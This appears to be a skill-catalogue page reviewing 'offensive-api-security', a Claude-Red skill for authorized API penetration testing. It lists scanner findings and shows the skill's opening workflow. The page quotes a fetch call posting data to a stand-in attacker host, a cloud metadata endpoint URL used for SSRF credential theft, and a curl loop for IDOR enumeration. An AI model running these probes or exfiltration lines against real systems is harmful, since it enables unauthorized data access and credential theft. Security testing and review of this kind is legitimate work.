claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/SnailSploit/Claude-Rednpx agentmods add skills/snailsploit/claude-red/offensive-api-securityWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-api-security)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-api-security"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-api-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-api-security"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-api-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 14 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 164 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Server-Side Request Forgery · line 252 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 275 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 280 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 253 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- medium Data Exfiltration · line 68 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 106 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 147 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 173 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 205 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 273 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 396 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 442 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 446 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00174 | $0.05048 |
| Opus 5.5 | $0.00070 | $0.02019 |
| Sonnet 5.5 | $0.00035 | $0.01010 |
| Haiku 4.5 | $0.00017 | $0.00505 |
Grade B, and why
offensive-api-security scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data}); Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
"http://169.254.169.254/latest/meta-data/" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
status=$(curl -s -o /dev/null -w "%{http_code}" \ Copies of this mod
1 near-identical copy found in the catalogue:
- offensive-api-security — 94% identical, 40 lines differ
How it starts
The opening of the file, as written. The whole thing — 505 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive API Security Testing
You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
Quick Workflow
- Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
- Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
- Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
- Probe authorization boundaries with BFLA checks across roles and HTTP methods.
- Fuzz parameters for mass assignment, content-type switching, and verb tampering.
- Assess rate limiting and resource consumption controls.
- Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
- Evaluate WebSocket security: origin validation, message integrity, CSWSH.
- Check for SSRF via URL-accepting parameters and webhook configurations.
- Document findings with reproduction steps and severity ratings.
OWASP API Top 10 2023 -- BOLA and IDOR
Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Replay with a different user ID while retaining the original token:
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Automate IDOR testing across sequential and UUID-based identifiers:
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 505 lines · 174 tokens per session scan B c76a14cfc2e4
offensive-api-security is a skill published in the GitHub repository SnailSploit/Claude-Red (7,588 stars, last pushed 5d ago), licensed MIT. It adds 174 tokens to every session and 5,048 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it B with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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